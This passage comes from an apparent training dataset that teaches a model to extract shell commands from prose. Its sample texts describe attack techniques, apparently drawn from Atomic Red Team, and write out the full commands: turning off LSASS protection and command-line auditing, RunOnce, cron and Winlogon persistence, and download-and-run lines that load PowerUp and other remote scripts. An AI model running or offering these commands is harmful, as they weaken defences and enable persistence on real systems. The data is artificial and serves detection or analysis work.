`Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can configure Windows to disable Lsass protection by setting RunAsPPL to 0 via this registry command: reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\LSA /v RunAsPPL /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For listing process window titles, the C# code needs to be compiled and executed via this command: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe -out:#{output_file_name} \"#{input_source_code}\"\n#{output_file_name}\n",
    "output": "{\"command_list\": [\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\csc.exe -out:#{output_file_name} \\\"#{input_source_code}\\\"\\n#{output_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To establish persistence via the RunOnce registry key, use the following PowerShell command: $RunOnceKey = \"#{reg_key_path}\"\nset-itemproperty $RunOnceKey \"NextRun\" '#{thing_to_execute} \"IEX (New-Object Net.WebClient).DownloadString(`\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\")\"'",
    "output": "{\"command_list\": [\"$RunOnceKey = \\\"#{reg_key_path}\\\"\\nset-itemproperty $RunOnceKey \\\"NextRun\\\" '#{thing_to_execute} \\\"IEX (New-Object Net.WebClient).DownloadString(`\\\"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1547.001/src/Discovery.bat`\\\")\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For automated execution, create a cron job by running this command which writes to /etc/cron.d: echo \"#{command}\" > /etc/cron.d/#{cron_script_name}\n",
    "output": "{\"command_list\": [\"echo \\\"#{command}\\\" > /etc/cron.d/#{cron_script_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When running CMD as administrator, you can change the Windows Defender startup executable by using this registry modification command: reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f. A successful execution will display 'The operation completed successfully.' and you can then inspect the modified entry in HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run through Registry Editor.",
    "output": "{\"command_list\": [\"reg add HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable command line auditing in Windows, which records detailed execution information, attackers may use this PowerShell cmdlet: New-ItemProperty -Path \"HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Audit\" -Name \"ProcessCreationIncludeCmdLine_Enabled\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore.",
    "output": "{\"command_list\": [\"New-ItemProperty -Path \\\"HKLM:Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\Audit\\\" -Name \\\"ProcessCreationIncludeCmdLine_Enabled\\\" -Value 0 -PropertyType DWORD -Force -ErrorAction Ignore\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For executing a specified binary with explorer.exe during Windows logon, run this command: Set-ItemProperty \"HKCU:\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\\" \"Shell\" \"explorer.exe, #{binary_to_execute}\" -Force",
    "output": "{\"command_list\": [\"Set-ItemProperty \\\"HKCU:\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\" \\\"Shell\\\" \\\"explorer.exe, #{binary_to_execute}\\\" -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
